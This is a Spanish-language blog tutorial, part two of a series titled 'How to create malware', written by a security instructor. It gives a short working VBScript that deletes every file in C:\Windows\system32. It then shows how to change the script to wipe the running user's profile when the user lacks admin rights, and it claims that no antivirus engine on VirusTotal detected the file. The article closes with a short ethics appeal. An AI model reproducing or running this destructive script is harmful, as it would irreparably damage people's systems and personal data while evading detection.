¿Cómo crear malware? (parte 2)

En la entrega anterior analizamos que es posible evitar la detección por parte de productos antimalware si simplemente modificamos algún aspecto del software, lo que hace que la firma de la base de firmas del antivirus no coincida con la del software modificado.

Ahora vamos a analizar cómo podemos crear un pequeño software, también indetectable por los antivirus, que destruya parte del sistema.

Visual Basic Script

Según Wikipedia:VBScript (abreviatura de Visual Basic Script Edition) es un lenguaje interpretado por el Windows Scripting Host de Microsoft. Su sintaxis refleja su origen como variación del lenguaje de programación Visual Basic. Ha logrado un apoyo significativo por parte de los administradores de Windows como herramienta de automatización.”

Este es un lenguaje muy fácil de aprender, y que puede simplificarnos mucho las tareas de automatización pero que, como todo, tiene sus desventajas, las cuales están muy relacionadas con la creación de malware.

Al ser un lenguaje interpretado, es muy difícil que las soluciones antimalware detecten comportamientos sospechosos en ellos, debido a que todo el código fuente se encuentra directamente en texto plano y puede ser modificado con extrema facilidad, haciendo casi imposible la creación de firmas de detección.

Por otra parte, se vuelve muy difícil para el sistema y para las soluciones antimalware detectar si un comportamiento es intencional del usuario o si es producto de una infección. Por ejemplo, un administrador de sistemas podría crear un script en VBS para eliminar archivos que no se utilizan y liberar espacio en disco. Pero también podría existir un script VBS que se encargue de eliminar varios archivos del perfil del usuario… ¿Cómo pueden el sistema y el software antimalware detectar la diferencia entre un escenario y otro? Es algo muy complejo.

Un malware destructivo

Para nuestra primer prueba de concepto vamos a crear un pequeño código en VBS que intentará eliminar todos los archivos que se encuentren dentro del directorio “C:\Windows\system32” (un directorio crítico para todos los sistemas Microsoft Windows.

Para esto vamos a hacer que nuestro script lea todos los archivos y directorios que se encuentran dentro de la carpeta ‘system32’ y que intente eliminarlos.

El código es muy sencillo. Abajo vemos un ejemplo:

On Error Resume Next

strDir = «C:\WINDOWS\system32\»

Set fso = CreateObject(«Scripting.FileSystemObject»)

Set f = fso.GetFolder(strDir)

Set fc = f.Files

For Each f1 in fc

fso.DeleteFile f1, True

Next

Nota: Podemos encontrar un código muy similar, con algunas mejoras, dentro del ToolPack que puede descargarse desde www.portantier.com/proyectos/toolpack

Si ejecutamos este archivo (y contamos con los permisos necesarios), haremos un daño irreparable sobre nuestro sistema operativo, el cual no va a tener la capacidad de iniciar correctamente.

Problema de permisos

Si el usuario que ejecuta este malware posee únicamente permisos mínimos en el sistema (lo cual es siempre recomendable para el uso diario de cualquier sistema operativo), podremos notar que este script no causa absolutamente ningún daño, debido a que el usuario no cuenta con los permisos suficientes para eliminar el contenido del directorio ‘system32’.

Si deseamos seguir sobre la línea de ser puramente destructivos, podemos modificar el código para que, en lugar de intentar destruir el sistema, destruya el perfil y los archivos del usuario que está ejecutando el script. (Siempre los usuarios pueden borrar sus propios archivos).

Como no sabemos el nombre del usuario, podemos utilizar la variable de entorno »USERPROFILE”, reemplazando la línea de código:

strDir = «C:\WINDOWS\system32\»

Por lo siguiente:

Set oShell = CreateObject(«WScript.Shell»)

strDir=oShell.ExpandEnvironmentStrings(«%USERPROFILE%»)

¿Y nuestra solución antimalware?

Subiendo el archivo que acabamos de crear en VirusTotal, podremos observar que ninguno de los 42 motores antivirus a podido detectarlo! Esto se debe a lo que comentábamos anteriormente, acerca de que se vuelve muy difícil encontrar la diferencia entre un script malicioso y uno bien intencionado.

La ética ante todo

Ya sea a través de un seminario, un curso, un libro o este tipo de artículos, cuando enseño seguridad informática lo hago pensando en que estos conocimientos van a ser utilizados para mejorar la seguridad de los sistemas.

Obviamente, queda en la conciencia de cada individuo cómo utilizar los conocimientos aquí expuestos pero, debemos recordar, que un verdadero profesional de la seguridad nunca utiliza sus conocimientos para fines destructivos ni ilegales, si no para ayudar a sus pares a reducir los riesgos de ataques y pérdidas de datos.

En la próxima entrega

Esto ha sido todo por hoy. En la próxima entrega analizaremos la utilización de software no-malicioso para propósitos maliciosos.

Hasta la próxima!

Fabian Portantier
Coordinador Carrera Seguridad Informática
www.portantier.com
twitter:
@portantier

Mail: seguridadinformatica@educacionit.com.ar
Web: www.educacionit.com.ar/carrera-seguridad-informatica

Comments

Una respuesta a «¿Cómo crear malware? (parte 2)»

  1. […] la entrega anterior analizamos la creación de un malware muy sencillo, codificado en Visual Basic Script (VBS). Ahora, […]

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.